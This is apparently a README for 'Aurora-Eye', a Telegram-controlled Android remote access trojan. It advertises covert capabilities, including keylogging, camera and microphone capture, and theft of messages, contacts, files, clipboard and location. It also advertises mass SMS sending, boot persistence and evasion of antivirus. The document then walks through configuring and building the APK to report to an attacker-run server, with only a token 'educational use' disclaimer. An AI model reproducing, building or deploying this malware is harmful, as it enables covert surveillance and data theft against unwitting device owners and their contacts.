A multifunctional Telegram based Android RAT without port forwarding
Aurora-Eye is a Telegram-based Android RAT (Remote Access Trojan) is a covert application that discreetly runs on Android devices. It operates silently and automatically sends device data whenever the device connects to the internet. Additionally, it listens for commands from an attacker via a Telegram bot and sends requested data back to the attacker. This RAT is designed to remain fully hidden, supporting the latest Android versions, and is intended to operate undetectably on the target device.
-
Real time
-
Notification Reader
-
Notification Sender (send custom notification that apper on target device with custom click link)
-
Show toast message on target device (Toasts are messages that appear in a box at the bottom of the device)
-
Receive information about simcard provider
-
Vibrate target device
-
Receive device location
-
Receive all target message
-
Send sms with target device to any number
-
Send sms with target device to all of his/her contacts
-
Recive all target contacts
-
Receive list of all installedd apps in target device
-
Receive any file or folder from target device
-
Delete any file or folder from target device
-
Capture main and front camera
-
Capture microphone (with custom duration)
-
Receive last clipboard text
-
Auto start after device boot
-
Keylogger
-
Beautiful telegram bot interface
-
Undetectable by antivirus
-
Hidden App Auto get Permissions
- APK EDITOR
- Android Studio
- For hosting server code, you can use some free services like:
- Keep in mind that these sites can suspend your projects, so it's better to host on your own computer.
- Open Apk editor
- select apk
- choose full edit
- select decode all files
- go to assets folder
- open host.json
- and enter url
- in socket replace url https to wss
- build apk ,start the bott Enjoy
{
"host": "https://yoururl.com/",
"socket": "wss://yoururl.com/",
"webView": "https://google.com/"
}
To build the application in Android Studio, follow these steps:
- Open the Android Studio and import the application source code.
- Navigate to the following path in the source code:
Utils/AppTools.kt
. - In the
AppTools.kt
file, locate thedata
variable and copy your server information into it. - However, before copying the server information directly into the variable, you must encode it using Base64.
- Here is an example JSON structure for your server information:
{
"host" : "",
"socket" : "",
"webView" : "https://www.google.com"
}
- Fill in the above JSON structure with your server information.
- Go to https://www.base64encode.org/ and copy the encoded result of your JSON data.
- In Android Studio, paste the encoded result into the
data
variable. - The final code should look like this:
fun getAppData(): AppData {
val data = "<your encoded server info>"
val text = decode(data)
return json().fromJson(text, AppData::class.java)
}
Note: The developer provides no warranty with this software and will not be responsible for any direct or indirect damage caused by the usage of this tool. AURORA-EYE is built for educational and internal use only.
Attention: We do not endorse any illegal or unethical use of this tool. The user assumes all responsibility for the use of this software.
Thank you for using Aurora - we hope it serves its intended purpose and helps you achieve your goals!